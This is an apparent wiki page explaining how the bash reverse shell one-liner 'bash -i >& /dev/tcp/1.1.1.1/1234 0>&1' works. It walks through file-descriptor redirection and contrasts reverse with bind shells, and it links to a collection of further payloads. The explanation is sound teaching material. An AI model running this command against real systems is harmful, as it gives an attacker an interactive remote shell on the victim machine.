Admin: Created page with "A typical bash reverse shell payload looks like the following, where 1.1.1.1 is your IP address and 1234 is your netcat listener's port. bash -i >& /dev/tcp/1.1.1.1/1234 0>&1 But what the heck does all that mean? The following is my favorite explaination of how it works.

 &> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (s..."

2023-10-04T09:50:56Z

Created page with "A typical bash reverse shell payload looks like the following, where 1.1.1.1 is your IP address and 1234 is your netcat listener's port. bash -i >& /dev/tcp/1.1.1.1/1234 0>&1 But what the heck does all that mean? The following is my favorite explaination of how it works. <pre> &> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (s..."

New page

A typical bash reverse shell payload looks like the following, where 1.1.1.1 is your IP address and 1234 is your netcat listener's port.

bash -i >& /dev/tcp/1.1.1.1/1234 0>&1

But what the heck does all that mean? The following is my favorite explaination of how it works.

<pre>
&> file itself is the same as > file 2>&1, that is open file in write-only mode
on file descriptor 1, and duplicate that file descriptor 1 to the file
descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open
file destription

0>&1 (same as 0<&1 or <&1) adds 0 (stdin) to the list. It duplicates fd 1 to 0
as well (fd 0 is made to point to the same resource as pointed to by fd 1).

Now, when doing > /dev/tcp/host/port in bash (like in ksh where the feature
comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket
and connects it to host:port. That's not a write-only redirection, that's a
read+write network socket.

So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i
reads on its stdin, it reads from the socket so from whatever sits at the other
end of host:post and when it (or any command run from there) writes to fd 1 or
2, it is sent over that socket.
</pre>

TLDR: Direct stdout, stderr, & stderr of an interactive bash shell session to a socketfile representing a hotline netcat listener setup on a remote machine.

You can think of reverse shells as different from [https://medium.com/@Proclus/reverse-bind-shells-for-everyoned-e7507853bf4e#:~:text=What%20is%20a%20Bind,to%20connect%20to%20it. bind shells] because of whose opening the port. With a traditional bind shell the victim machine is opening the port, whereas with a reverse shell its the attacker who opens the port on their machine and a shell is sent to it.

* [https://unix.stackexchange.com/questions/521596/what-does-the-01-shell-redirection-mean Original Stack Exchange Thread]

* [http://rshell.sh More Reverse Shell Payloads]

* [https://www.youtube.com/watch?v=rL3yq5a_vNM Simple Reverse Shell Video Demo]

Bash Reverse Shell Explanation - Revision history